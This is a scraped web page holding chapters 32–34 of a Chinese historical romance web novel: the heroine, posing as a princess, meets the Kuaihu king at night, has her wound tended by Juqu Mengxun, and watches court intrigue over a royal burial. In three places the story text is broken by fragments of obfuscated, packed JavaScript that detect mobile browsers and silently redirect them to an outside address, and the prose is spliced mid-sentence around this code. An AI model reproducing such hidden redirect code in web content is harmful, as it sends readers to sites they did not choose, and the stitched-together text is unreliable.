d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14806789|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 龙说得没错,事态果然正朝着李玄盛所料的地步发展,狯胡大军看似声势浩大,实则危机四伏,不堪一击。 眼下还有一桩事让他更头疼,星夜迈着大步改了方向,往一个从未踏足过的角落走去。 “阿兄咱的营地不在那边……”喀龙以为阿兄急糊涂了。 谁知星夜瞪了他一眼,凶狠的眼神简直像恶狼一般要吃人,让喀龙瞬间闭上嘴。 “是时候该去拜访一下公主了。” 喀龙恍然,想起那个难对付的公主,他后脑勺还有点疼,下手忒重了些。 “那个女人可狡猾,抓住她的时候,老子还被她偷袭差点挂了,让她给跑了。欸……阿兄,你不是对那女人没兴趣么?大半夜的这么着急……” 他这么一想,就有点想歪了,嘴角忍不住扯出了然的笑容,“对,是该好好教训一下。” 星夜朝他屁股上踹了一脚,“少废话,办你的事去。” 星夜看着兄弟这张欠揍的脸,实在无语,草原上的汉子对付女人手段雷厉风行,喀龙见阿兄终于开了窍,暗自兴奋,看他阿兄脸色很臭,赶紧垂头丧气地去处理那几个蛮子了。 菩提树的树叶被风吹地沙沙作响,空中斜挂着的月牙从云朵后跳了出来,显得有点顽皮,似乎正在悄悄看着粗大树干上的身影,攀爬着枝丫,朝着窗棂慢慢挪动。 过了三更,宫中的守卫换班。 李暠的住所在王宫另外一侧,送祖慕祇到蓝毗尼宫外后,就被女孩催着离开,“路上小心。” 阿祇要趁这个空档,回到蓝毗尼宫,好在这不是她第一次出入寝殿。 风起,李暠看了眼黑漆漆的菩提树方向,眼神一暗,欲言又止。 他在大漠的连环计,不允许有半点疏漏,那是个聪明人,他并不担心。此时,他也该离开了,然而脚下一顿,不禁回过头看向阿祇,小声嘱咐了句:“回去记得换药。” 女子没有带面纱,微笑着点头,玄盛不再迟疑,阿祇目送他消失在黑夜。 蓝毗尼周围有诡异的宁谧,只传来枝叶繁茂的菩提树沙沙作响,这里的位置是极好的,层层城郭,大祭司与都尉诺伊好像达成了某种默契,诺伊将王宫最后一道防线交到大祭司手中,风雨飘摇的和田城,保住了这一隅安宁。 阿祇的身影敏捷地缠结了几根丝带,拉了拉足够承载体重,轻松拉住攀越而上。 在就快抓住树杈的时候,突然头被什么东西击中,力度不大,她四周张望,到处静悄悄,月光下能看到王宫层峦起伏的屋檐砖墙,没有什么异样,头顶繁茂的菩提树枝微微摇曳,绿叶遮住了皎洁的月光,也完美遮住了她的身形。刚才或许只是被树枝勾了一下,她安慰自己,继续攀爬,不料头又被击中了,让她忍不住轻轻哎了一声。 哎呦……这下有点重。 她看清了,砸中她落地的竟然是一粒菩提果,捂着头四下寻找罪魁祸首,头顶噼里啪啦接连飞来数粒。如果再不知道有人在戏耍她,那就可以自挂了,她忍着怒气,攀住枝桠扫视四周,压着声音问:“谁?” 在树干阴影处,有半个身子斜靠的影子。 阿祇心中一惊,不知道这人有没有看到刚离去的李暠。 树后的人影转过身,不再做隐藏,半披肩的乱发和结实的肌肉,男子硬朗高大的线条隐藏在阴影里,慢慢走出来,站在阿祇所站立的树枝下,轻轻抬起头。 这个人有些脸熟。 “喂,你又偷跑出去找东西吃?” 这声音让她一下子认出来人,夜色正浓,阿祇站在树上,观察四周没有别人才轻声出言:“原来是壮士。” 32. 长夜漫漫 没想到这么快就又见面了。 男人嘴角一抽,“不要叫我壮士,我的名字是星夜。” “星夜?甚是应景,称呼不重要,壮士侠肝义胆,定不会多管我们蓝毗尼宫的闲事吧?”阿祇觉得傻白的笑容更有感染力,果断开了侍女身份的小号,她这次没有奇奇怪怪的妆,傻傻一笑,先拉一波路人缘。星夜微愣,松开了手,菩提果掉了一地。 “咳……”他清了清嗓子,变脸故作凶状,“你是玄玉阁的人?” 阿祇看了看四周,幸好没人,“我不是,我没有。” 阿祇这回确认他肯定看到了李暠,不管怎样先否认了再说,看来他们都发现了对方,就是心照不宣罢了,她看不懂也没兴趣搅合,“那个星夜壮士,我有点忙,咱们后会有期。” 月光下女孩的眉眼朦胧纯净,带着淡淡的焦急,额间碎发下一点朱砂若隐若现,星夜觉得神奇,莫非其实她是妖物?他在树下吹了个鸟叫声,呼啦啦飞出一些鸟,阿祇不敢轻举妄动了。 星夜一跃上树,拦下她:“日夜偷跑,你家主子知道吗?” 星夜比站在树梢的祖慕祇高出一截,屈身蹲下俯视小侍女,顺便一脚晃了下她脚下的那根树枝,树枝微微晃动,阿祇忙抓住他的手臂,催促:“快下去,这撑不住两人。”星夜不仅不打算下去,干脆坐下,双腿垂在半空,摘下一片树叶叼在嘴里。 星夜故意挑衅,“要下你下去,我就喜欢这里。” 疲惫的女子盯着他,耍无赖谁不会,“我要喊侍卫了。” 星夜也威胁说:“你深夜出宫,非盗即……”阿祇伸手堵住他的嘴,另一手勾住树干,话锋一转:“星夜壮士龙行虎步,贵人之相,深夜来此必不是那偷鸡摸狗之人。” 星夜一愣,“你对本……壮士,印象不错?” 她说的是这个意思吗? 阿祇想快点打发这人,不然谁知道沮渠蒙逊又会发生什么疯。 星夜握住她的左臂,像拎小鸡一样将人拉近跟前,树枝晃得更厉害了,阿祇赶紧抓住他的衣襟,他闻到血腥味,“说到偷鸡摸狗,有人甚是可疑……” 阿祇冷下脸,“你想怎样?” 星夜笑道:“你给蓝毗尼宫主子带个话,明日见上一面。” 原来他真的只是把自己当作玄玉阁安插在蓝毗尼宫的眼线了。 阿祇轻吁了口气,挣脱他的手,反问:“你想见公主,为什么不光明正大地求见?” 星夜眼中露出鄙夷,像看傻子一样看她,“草原上的羊都比你有脑子,光明正大有用的话,本壮士还用深夜到此?”阿祇腹诽,羊的记忆里可以识别至少50个人的面孔超过两年,比很多人类都厉害,为什么要被星夜这样四肢发达的人类鄙视?不过,这都不是重点。 她懒得浪费时间,“以你的轻功,翻墙很难吗?” 星夜严肃地看着这个不知死活的小宫女,“王宫一片紧张,为何蓝毗尼殿静如死水?你以为你翻墙来去,是因为你轻功高?只不过有人睁一只眼,闭一只眼罢了。” 阿祇恍然,蓝毗尼宫都是“大祭司”安排的人,隔绝了她就是隔绝了假公主被拆穿的风险,但如果她在外面出了事,自己找死,沮渠蒙逊随时可以找一个替代品,阿依那,可不就是现成的? 再一想,连李暠夜探蓝毗尼,肯定也得了大祭司的默许。 好复杂…… 阿祇抬眼审视眼前这人,这人可嚣张多了,穿越防备重重的蓝毗尼宫外院,入深宫如入无人之境,连个夜行衣蒙面都没有,最大的可能他是狯胡王的人,并极有可能正是狯胡王本人。然而他不说,阿祇没理由给自己找麻烦。 她索性装傻下去,目光从防备也换成像在看傻子,“蓝毗尼这么危险,你为何还敢来?” 星夜有点傲娇,不以为意地说:“跟你没关系。” 阿祇很认可地点头,说道:“我也觉得跟我没关系,壮士神通广大,心想事成。” “告辞!”说完,人就要翻墙。 男人气结,他不喜欢太聪明的羊羔,赶紧拉住她,“喂,你帮,还是不帮?” “不帮。”阿祇一脸嫌弃地甩拉着她的手,抬头又看上那手的主人,“你不敢进蓝毗尼,肯定是被‘睁一只眼闭一只眼’盯上了,不要连累我。” “你……” 星夜一时也不知怎么对付她,他确实与大祭司私下有言,不擅入蓝毗尼宫惊扰公主,但如果公主主动出来相见,总不算违反约定吧?但这个小侍女实在难搞,真想狠狠掐住她那纤细的脖子,手都伸出去了,又生生改了方向,从头上拔下她的头簪,没有秀发飞舞,只有潦草的乱发落在他的手背上。星夜犹豫,要用发簪威胁她吗? “壮士,不,星夜大侠,那是我身上最值钱的物件,请您喝酒,好走不送。”阿祇麻利地撤下面巾,三两下缠住散落的长发,只要他不撕破脸,她就忽略尴尬,“带话是吧?壮士请说。” 星夜才想起来:“转告公主,如果愿嫁作狯胡阏氏,狯胡王定保于阗无恙。” 阿祇问:“如果公主不愿意呢?” 星夜觉得她一定会愿意。公主一介女子,没了于阗王靠山,诺伊有兵权把持朝野,大祭司暗中勾结匈奴人,玄玉阁有意联盟自己,如果在名义上狯胡与于阗联姻,他们就能更紧地绑定在一条船上。更何况李暠亦已另娶,阿依夏木唯一的出路就是嫁给他。 “她会愿意的。” 趁他自恋,阿祇从树上跳上内墙。 阿祇灵活得像个泥鳅,星夜抓住她的脚被甩开他,还险些被弹动的树枝划到脸,他往后一仰,眼睁睁看着小侍女以不甚优雅的姿势脱身而去,趴上墙头。她转过脸,说:“公主的和田城,不是她一个人的和田城,公主就算嫁给了你,也不过是给自己找了个利用她的男人。” “你,既认出了本王,还敢戏弄本王?” “忠言逆耳,狯胡王心胸宽广定不与我计较。诺伊都尉不敢逼宫,肯定是被什么掣肘,如今局势平衡,狯胡王进退维谷,需要公主比公主需要狯胡王更要紧,所以公主凭什么非你不可?”刚才,阿祇也想通了关节,火烧拂云殿是逼宫的最好时机,为什么于阗王死了反而这潭浑水却静了下来?答案,可能就是李玄盛与沮渠蒙逊的底牌了。 “时候不早,狯胡王快走吧。” 无论是否她在被人监视,一静总比一动强,只要她老实作她的冒牌公主,不破坏他们的棋局,暂时就不会被替换或者有被灭口的下场。 “等下……”狯胡王第一次被女人数落,居然好脾气地忍住了,他拦住她的离去身影,最后又说:“帮我说服公主,我可以答应你任何条件。” 也不知什么时候,对话成了与小侍女的谈判,阿祇索性重复:“任何条件?” 星夜点头,是有一丝期待的。 局面反转,阿祇望了眼天上的星夜,揶揄道:“今夜星空不错,你摘一颗下来,公主定会欢喜。”星夜变脸,“将来你的主子成了我的阏氏,你就会落到我手中。” 可惜他的威胁并不奏效,阿祇跳墙进入蓝毗尼殿的内院,传来她的声音:“外面有狗在叫吗?” 内院的烛火亮起。 星夜不得已飞下树梢,愤然不甘。 阿妈说过:汉人女子温柔淑德,汉人女子三贞九烈,汉人女子胆小怕事,男人碰过她们的脚,她们就以身相许……然而,阿妈骗了自己,汉人女子长得如水,性情却狡猾多端,言语刻薄,等他娶了公主,定将这个小侍女放在身边,时时监管,天天折磨。 糟糕,冤有头债有主,忘记问她的名字了。 蓝毗尼宫,公主寝殿。 阿祇小心翼翼地跨进寝宫,一开门就是衣着整齐、手执蜡烛的阿依那。 阿依娜见到阿祇抿了抿嘴,没说出话来,她微微屈膝。阿祇知道阿依那不会拿她怎样,想糊弄过关,说着就往里走,“我刚才睡觉幻听,以为努尔还在外面吵闹,没吵到你吧?” 一转身,门口已经不见阿依那,她人退出了屋外,还顺手把门关上了。 阿祇不由皱眉,“不会真去告状了吧?” 心存怀疑,人却接着往屋里走,漫长一夜,子时已过,她得赶紧补眠,然而天不从人愿,一进寝室她就愣在当场。 “大,大祭司?”她吃惊道。 室内烛光昏暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14815603|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那张别具一格的面具反射荧光,很有恐怖片的氛围感,吓了她一大跳。面具的主人手缓慢地抬起,摘下了面具,面具下是一张额角有疤痕的冷脸,面容冷酷地盯着她。沮渠蒙逊有刀削般的下颚,眼神凌厉时杀气森冷,眼神温柔时明亮如星,此时看向阿祇的,绝对是前者。 孟子曰:尽其道而死者,正命也;桎梏死者,非正命也。难道她今日要死于非命? 阿祇求生欲满满,能屈能伸地说:“我可以解释。” 沮渠蒙逊朝她勾了一下手指,有点像她训练努尔时的动作,阿祇摇头如拨浪鼓,后退了一步,阿依那好像在门外上了锁,她跑不掉,只见沮渠蒙逊的脸阴沉得要下雨似的,冷冷看她逃不走的挣扎。 “过来。” 再不待见他,她这时刻也不敢跑了,寝殿这么大点的地方,玩捉迷藏也超不过两三个回合,于是干脆走了过去,在他对面坐下。 沮渠蒙逊开口:“衣服退下来。” 这场景有点耳熟,阿祇不敢想歪了,忙说:“血腥味?已经没事了。” 沮渠蒙逊眉头一皱,“今天你的话特别多。” 通常来说这是他不耐烦的前奏,走过偷他令牌的黑历史,阿祇这次十分配合,默念我是二十一世纪接班人,不怕古代牛鬼蛇神,衣服一拉,伤口血迹斑斑。 “你再无法无天,我也护不住你。” 沮渠蒙逊从衣袖里拿出药瓶,这个可以申请外伤金创特效专利的小瓶瓶,简直是神丹妙药。他熟练地解开纱布,箭伤本来好得快差不多了,这一晚折腾,又出了不少血,这人动了怒,命令道:“以后不许再出墙半步。” “嗯,不出墙。”这话怎么听着有点别扭。 “过去的事……”沮渠蒙逊是要翻旧账?偷来的令牌,她早就送了出去,她赶紧堵住他的开口,表现出心虚的乖巧,“过去,都是我错了。” 长夜漫漫,她小心用余光查看某人阴沉的脸色,总算有些转晴,沮渠蒙逊敢摘下面具,放在桌子上,这是沮渠蒙逊在王宫里第一次不戴面具,看来事情进行得还算顺利。被他冷冷地瞥了一眼,阿祇一哆嗦,小命还在人家手里,只得乖乖陪笑。 “那个,你渴了吧?” 说着,她赶紧为他斟茶倒水,貌似终于取悦了冷脸,那双能杀人的眼睛里好像又有星了。 沮渠蒙逊怒其不争,“伸胳膊。” 阿祇照做,沮渠蒙逊不客气地缠起绷带,他对付外伤很有经验,快稳狠是他的风格,也许是药效强悍,或者这人手下留情,确实没有往常的疼痛。此时,阿祇的脑海里不禁浮现另一个人的身影,同样是今夜,同杨是止血治伤,让人心安。 “哎呦……”刚一放松,她就疼得吸了口冷气。 “不许胡思乱想。” 沮渠蒙逊解锁读心能力了么?她摇头,当然不能承认了,“肚子饿了,不行吗?” 他冷着脸不说话,气她对他的欺骗和算计,本来决定暂时不再看她,但是当见阿祇跟着李玄盛离去,即便他心知肚明,为了保住她的安然,只能让王后认了她。他不能阻止,这也是他对李玄盛的承诺。阿祇疼出眼泪,他的心软了下来,“想吃什么?” 说起阿依那,阿祇的感觉就是不想麻烦她。小脸一垮,沮渠蒙逊嘴角就一扬。 阿祇问他:“阿依那,知不知道你我的身份?” 沮渠蒙逊回答:“她不笨,却也没那么聪明,真实身份不至于猜得到,但你这混吃混喝的小骗子,她肯定盯上了。” 阿祇惊异,“她不是你的人吗?” “你才是我的人,她是随便捡的,不听话就杀了。” 这,这……她还能说啥,尊重生命,远离沮渠蒙逊? 天色太晚了,阿祇拉上衣服就起身送客,“我累了。” 沮渠蒙逊猛地把她拉过来,阿祇也是有身手的,一胳膊肘就抵住他的脖子,四目相对,呼吸可闻,她哪里是沮渠蒙逊的对手,可是就是执拗地别着力气。眼看伤口又要完蛋,沮渠蒙逊泄了力,捏起她的下巴,说:“记住你答应我的……” 阿祇小嘴都被捏变了形,举着手指发誓:“嗯嗯,不出墙。” 33. 两道旨意 翌日,王宫传出两道王后旨意。 第一道:狯胡士兵目无于阗法度,当街杀人,犯事者立即斩首示众,违反宵禁规定的狯胡人,一律鞭刑一百。第二道:三日后先王国葬,十位官采采女,殉葬。 这两道旨意一出,在和田城乃至整个于阗引起一片哗然。虽以王后之名,但明眼人都知道,王后早已被软禁在后宫,公主托病不出,能颁布旨意的只有狯胡人当靠山的诺伊都尉。诺伊与狯胡人的勾结,就差摆在明面上,他此时态度大变,不知在耍什么花样。往日最为热闹的诺鲁孜节,客商云集,人头攒动,如今家家户户大门紧闭,到处是风雨欲来的压抑。 星夜和诺伊坐在众人之上,花白狂野的胡须让诺伊不怒自威,灰蒙的眼睛冷漠地盯着私下讨论不休的贵族,嘴角有抹不易察觉的狠戾。 一个高鼻蓄须的老臣走出人群,瞪着他怒斥:“诺伊,你凭什么坐在主位,为何不请出王后和公主?”有人附和,对着众大臣道:“国不可一日无君,还请公主速速登基,为于阗的子民主持公道!” 众人七嘴八舌议论起来,很快又有人站出来复议,“阿里木说得对,如今于阗有难,这些日子却不得而见王后和公主共商大事,人心不古啊……” 诺伊几乎看不清楚人的面容,但是他却能分辨出阿里木的声音,当初就是他奉命抓了他唯一的儿子并杀害了他,诺伊声音冰冷,“王后已下旨,封本都尉代辅朝政,若有不服,可先斩后奏。” 四周带兵刃的护卫虎视眈眈,众人迅速没了声音。 诺伊眼神动了动,嘶哑地说:“人带上来吧。” 议事厅人群立刻让出一条路,寻城兵押送了三个披头散发的胡人,走入议事堂大厅。阿里木不顾形象,冲到人群之前,就朝其中身上染血被五花大绑的胡人一脚,那人趔趄地跪到地上,像野兽一样想扑回去、想撕咬,用异族语言咒骂,直到被官兵强压在地,嘴里塞了个脏布。 阿里木大喊:“狯胡蛮子,该死。” 于阗男子以从军为荣,但贵族子弟全凭家族意愿,不幸的是昨日被害的于阗巡防守卫之一,正是阿里木家族的子弟。低调了数年的诺伊余威尚在,原本嘈杂的议事堂渐渐安静下来,诺伊伸了根手指,微颤地指了某个方向。 一个持刀护卫上前,在众人没反应过来之前,利落地拔刀,唰一下,一颗头颅滚到大厅中央,居然是阿里木。 周围瞬间鸦雀无声,死不瞑目的头颅睁大着眼睛,似乎在吃惊突如其来的死亡。 “啊~”有胆小的侍女被吓破了魂,直接晕倒。 诺伊微微皱眉,灰色的眼睛染上冰冷。很快,他的亲信拔刀,又抹了狯胡犯人的脖子。于阗贵族们吓得瑟瑟发抖,有守卫堵在门口,不允许他们出入,星夜的脸色极为难看,坐在诺伊身旁,一脚踢翻了胡凳。 “都尉这是何意?惹事的人都交给你们处理了,为何还要杀我千夫长?” “此人昨夜也在现场,虽不曾亲自动手,却是那些杀人犯的头目,狯胡王如果不约束好你的手下,那老夫不介意帮你管管。” 诺伊阴森森的目光瞧过来,与之对视的人无不心惊胆战。 星夜明白,这是诺伊疯魔的前奏,“诺伊,你这是要与本王过不去了?” 剑拔弩张的气氛,让众人看不懂了,诺伊都尉与狯胡王不是一伙的狼狈为奸?今日怎突生嫌隙起来了?星夜目光如冰,杀意一抹而逝。 下马威已经差不多了,诺伊并不想跟星夜现在撕破脸,强龙难压地头蛇,他只想警告他如今的于阗还掌控在他的手里,两败俱伤,狯胡人玩不起。诺伊冷冷坐在镶嵌着宝石的主座上,灰败的脸上露出阴冷的神情。 忽然,有人来报:“大秦征西军特使求见。” 诺伊端出上位者的姿态,“什么大秦特使?” 话毕,只见门外渐渐走来一身白色华贵胡服,风姿翩然的贵郎君,正是众人无不熟悉的玄玉阁阁主——李玄盛。 诺伊皱起眉头,得知李玄盛入城,以王后之名将他幽困在王宫之中暗中监视,听说他这次带来的人马不多,还带来了夫人。 于阗暗中支持玄玉阁的人很多,但他手中有玄玉阁的人做人质,玄玉阁示好的可能性更大。他示意侍卫的无需阻拦,“玄玉阁是于阗的上宾,玄郎君别来无恙。” 李玄盛清风朗月般对诺伊优雅行礼,“都尉安好。” 当白衣胡服的玄郎君出现在议事厅,大多数人露出欣喜的神色,作为和田玉石最大的采购商,这位神秘的中原士族贵郎君多年来给于阗带进来了丰厚的利益,与老国主交情甚笃。 诺伊不冷不热地说:“此乃于阗朝堂议政之处,若为两日后的国葬,玄玉阁怕是心急了些。” 默许喀龙放李玄盛入城,也是他请君入瓮的试探。 玄盛端肃恭谨,“玄盛一来是以玄玉阁阁主的身份,吊唁国主,二来是以大秦特使之名,招降西域三十六国。” 一语既出,众人哗然。 诺伊身旁头戴高帽的贵族,立刻指着李暠骂道:“狡诈的汉人,你们的兵马围困和田城,射来点着火油的箭,火烧拂云殿,先王的死,都是吕光干的。” 玄盛对此人有印象,是诺伊都尉的妻弟克拉汗。 “克拉汗慎言,玄郎君一向与老国主交好,玄玉阁在和田产业颇大,既有心招降,断不会轻言宣战。”人群中有人大声道。 毕竟朝堂被诺伊把控,大秦的箭矢夜袭拂云殿,有被人栽赃的嫌疑,李玄盛既然敢带着家眷入城,显然是带着诚意来的,求合派乐见其成。 “对,玄郎君是于阗的朋友。” 诺伊并不想被招降,克拉汗这些追随他的亲信,以为诺伊想自立为王,之所以与狯胡人绑在一起,无非是强强合作,借刀杀人,没人想到诺伊是抱着陷于阗于战火,一同毁灭的心思。 “先一步到达和田城外的兵马不止征西军一支,拂云殿被偷袭,与征西军并无关系。”玄盛有令人信服的威望,他如此说,信的人不在少数,但随之而来的是对“另一支”军队的猜测。 星夜讥讽:“特使的意思,莫非指本王?” 玄盛看向星夜,眼神耐人寻味。 领李暠入王宫的侍女是诺伊的人,玄盛与星夜的会面逃不过诺伊的眼线,那日,星夜承认与诺伊里应外合,摆了一出和田城的乱局,诺伊曾与吕纂也通过密信,显然吕纂不愿当诺伊的刀,狯胡人鸠占鹊巢,吕纂对和田城势在必得,最疯狂的游戏便是釜底抽薪,让征西军和狯胡人鹬蚌相争。 “这位是……”玄盛明知故问。 吕纂的五千人,追了星夜的狯胡大军半月有余,两人私下交过手,但立场在外人看来,必然该是针锋相对的。 克拉汗有恃无恐,“这位是于阗国未来的王夫,狯胡王星夜可汗。” 星夜与玄盛身高不相上下,气质却截然不同。星夜狂傲,玄盛内敛,一个锋芒毕露,一个寒刃入鞘,面上针锋相对,一个眼神交汇,心领神会。 星夜语气不善,“大秦惯会挑拨离间,草原七十万联军阵脚自乱,这位特使,莫非又赶来于阗兴风作浪了?” 龟兹大战,狯胡军元气大伤拜吕光所赐,逃到了漠南与于阗联手,对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14833168|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 征西军的咄咄逼人定是恨之入骨。克拉汗不喜狯胡人,又垂涎玄玉阁在于阗的产业已久,等的正是这个机会,出言挑拨:“玄玉阁与征西军同属大秦,对于阗早有图谋。” 玄盛不理会他,淡淡看向星夜:“汉人有句话——箪食壶浆,以迎王师。不知狯胡王入城之时,可得一浆否?” 地上还流着被斩杀狯胡人的血渍,星夜眉头微皱。 玄盛又对昔日熟悉的于阗老臣们劝道:“胡人七十万围攻龟兹兵败,于阗与狯胡的兵马加起来不足四万,大将军已带兵拿下且末、鄯善,西域诸国尽归顺大将军,于阗是最后的孤城,征西精兵后退三十里,礼让于阗国葬。三日后,若于阗拒不受降,玄玉阁的基业不足为惜,战事一开,只怕生灵涂炭。” 诺伊的儿子就是当初主张求和,大漠统一乃大势所趋,最终惹怒于阗王被杀,女儿西莫儿身为王宫女官,为兄求情,差点也殒命。诺伊被斥责教子无方,差点被剥夺了军权。 于阗重商轻武,众人虽然猜出老国主的死与诺伊脱不了干系,但是老国主执意向战,并不得人心,他们只等诺伊松口,大义也好,私怨也罢,赶快与玄郎君和谈,化解干戈。 胡子覆盖了半张脸,枯瘦如骨的双手伸入袖口,诺伊胸腔起伏看不出情绪,沉默了半晌,终于开了口:“贵客不必多言,先王有命,于阗拒不受降。” 谈判破裂,大战在即,众人无不震惊。 与此同时,和田城中大乱。 于阗士兵缉拿了这几日带头闹事的狯胡人,当街鞭刑一百,以儆效尤。 宫中传来消息:资助狯胡大军的粮草被截断,胡人的大军向塞勒湖北部的荒原驱赶,星夜率领大军与于阗士兵正面冲突,频繁的矛盾已引起和田城内乱,兵戎相见,一触即发。 城中还有一个麻烦,都尉府的士兵正在全城搜捕采女。 采玉祭遇袭,当晚的十名采女没了半数,有的中箭,有的失踪,尹氏女,也就是祖慕祇冒用的汉人身份,也被列入失踪之列。剩下的采女,根本不够殉葬人数,官采只好在往届采女中抓人。刚刚以为逃过一劫的采女们,得到消息如惊弓之鸟,不能出城的就到处逃窜,或者随便找个人嫁了。 采女是阴女,须是处子。 于是,和田城这两日喜事不断,只要还没进洞房的,新娘很可能被官府抓回去充数,经过全城搜捕,总算凑齐了九名采女,还差一个,时间却不等人。 当晚有人告密:采女的教习嬷嬷在玄玉阁别院。 新任官采大臣克拉汗怒斥手下:“混账,让个老采女去殉葬,难道于阗的女人都死光了吗?” “别院肯定还有别的采女。” 一个官员站出来阻止,“玄玉阁不能动啊,别院住着辛夫人,更不能随便闯。”官采官员们七嘴八舌地议论对策,有人吓破了胆说:“仗都快打起来了,大家小命都不保,不能得罪玄玉阁,兴许还有转机。” “都尉亲自下令,殉葬的事处理不好,你我先死。” 又有官员说:“我听说,十口棺材都打好了。” 克拉汗又不是聋子,采女老不老的其实他才不在乎,他垂涎玄玉阁的势力,但是传闻那里住着李玄盛新婚夫人,王后刚下令收辛夫人为义女,他们夫妻是大秦特使,玄玉阁没有倒台前,风头正盛。 克拉汗犹豫不决,玄玉阁别院不能闯,人又不够。 有人建议,不如随便找个女人充数算了。正在这时,外面跑进来一个侍卫,手里拿着根布条,边跑边喊:“大人,有人送来这个。” 布条只有一行字:蓝毗尼宫中有采女。 34. 大丧(一) 一队带刀侍卫,在新任官采大臣克拉汗的带领下,举着火把包围了蓝毗尼宫。 于阗人都知道,阿依夏木公主性子阴晴不定。那日拂云殿受了惊吓,据说几日来愈发暴躁,下令刺瞎了蓝毗尼宫上下几十个护卫宫女的双眼。 克拉汗被一位宦官拦住,小心地提醒这位新贵主子,说:“大人,这么晚了,不如别打扰公主了吧。”克拉汗早问过了王宫中的心腹,确实有人看到过采玉祭上的一个采女模样的侍女,曾出现在蓝毗尼宫附近,似乎还去过北苑。 “你,过来。” 一个侍女怯生生走来跪下,“大人。” “你确定,见过有采女假扮侍女混入宫中?” 侍女吓得哆嗦回答:“奴婢是见过一个新侍女,额头有花钿,很,很是好看……”她越说声音越小,其实她根本不是蓝毗尼宫的人,要不是收了内院阿秭的一片金叶子,教她这么说,她可万万不敢告密的。整个王宫,谁不知道蓝毗尼宫人的眼睛是怎么瞎的,再靠近蓝毗尼宫,说不定连小命都要丢了。 克拉汗是诺伊的妻弟,王宫他畅通无阻,可唯独蓝毗尼宫也是例外。 诺伊提过大祭司软禁了公主,蓝毗尼内院任何人不得踏入,包括诺伊自己。 他挥挥手,找来一队侍卫,“去,把外院的人都带出来。” “是。” 宦官谨慎惯了,小声劝克拉汗,“公主如今已是储君,蓝毗尼宫平时行事张狂,不好硬碰硬。” 克拉汗的亲信不以为然,“怕什么,公主还不是被软禁在这里,靠打骂宫人出气?” 克拉汗是知道内情的,拂云殿大火之后,这位公主逃跑时,被狯胡王的人装进麻袋里给抓了回来,诺伊本欲杀人灭口,大祭司说没了人质,狯胡人怕是与和田城鱼死网破,便命人封了蓝毗尼宫。可他不知道的是,诺伊巴不得赶紧鱼死网破,只是他被大祭司抓到了“软肋”,暂时不得发作罢了。 大祭司对外宣称公主静养,无人敢打扰。 大祭司是于阗国的世袭神族,拥有祭祀、祈福、医治、教养王室的重任,在有宗教信仰的国家,地位堪比王储。 宦官犹豫,“不然,等大祭司来?” 克拉汗不耐烦地说:“不过是抓一个小小采女,如果耽误了明日的大丧,大祭司怪罪咱们,说不定都得陪葬。”十个采女,只差这最后一名了。 这时,外院乱糟糟地扯出来几个蒙着眼罩的侍女。侍女们随便被扔在地上,缩成一团。采女属阴,身份低微,相比王宫侍女,地位还要更低,所以她们入宫很难。 “你们眼瞎之前,蓝毗尼是否来了生面孔的侍婢?” 侍女们害怕得直摇头,她们的眼瞎,可不就是一个新来的侍女,持大祭司令亲自带人执行的。 克拉汗快没了耐心,“不说?你们就都去殉葬。” 一个瞎眼侍女胆子大些,爬出来俯身在地上,“蓝毗尼宫前后三进院,大人们要找的人,就在第二进院的东厢房。” 别的瞎眼侍女大气都不敢喘,不敢想她到底做了什么,东厢房住的可是大祭司的人。最开始告密的侍女也心中一紧,给她金叶子的阿姊交待是,要她带侍卫搜查整个内院的,然后指认额头有花钿的人……要不要站出来? 她正犹豫时,克拉汗指着两个宦官,有眼色的二人立刻上前,“大人,外院我们识路,只是……” “只是什么?天亮前再找不到人,你们就不用再在王宫里侍奉了。” 二人汗流浃背,克拉汗最是狐假虎威,对他们下人要打要杀,根本没人过问。 宦官赶紧引路,在他二人带领下,一队侍卫走进了蓝毗尼宫。 月上中天,诺大的蓝毗尼宫静谧得像个冷宫,进了前院就看不到人影,越往里走越是安静。跟在最后的小宦官嘀咕:“天神赐福,恶灵退散。” “闭嘴!”宦官头儿敲了小宦官的头,“没用的东西,蓝毗尼宫闹鬼是咱们放出去的消息,你怕什么。” 小宦官不敢多话了,眼神积聚到东厢房的烛火,领头的朝几人使了个眼色,一同破门而入,架起只着中衣的女人,一人堵嘴,两人捆绑,人来不及挣扎说话,迅速被带出屋子。 “阿依夏木”公主的寝殿传来动静,烛台亮起,半明半灭的光线下,一个穿着白袍的女子身影靠近寝殿大门。门吱呀打开,外面是漆黑的庭院。 绑人的几个人动作极快,阿祇心知外面一定出了事,但她承诺过沮渠蒙逊,绝不出内墙。 阿祇在门口站了一会,然而,什么都没发生。 蓝毗尼宫,死寂一片。 八月初九,大丧之日。 天刚蒙蒙亮,低垂着头的侍女们瑟缩地站成一排,捧着洗漱衣物,跪在端坐在床榻的“公主”面前,公主一动未动,没有看到阿依那的身影。 大祭司戴着面具,冷冷站立在宫门口。 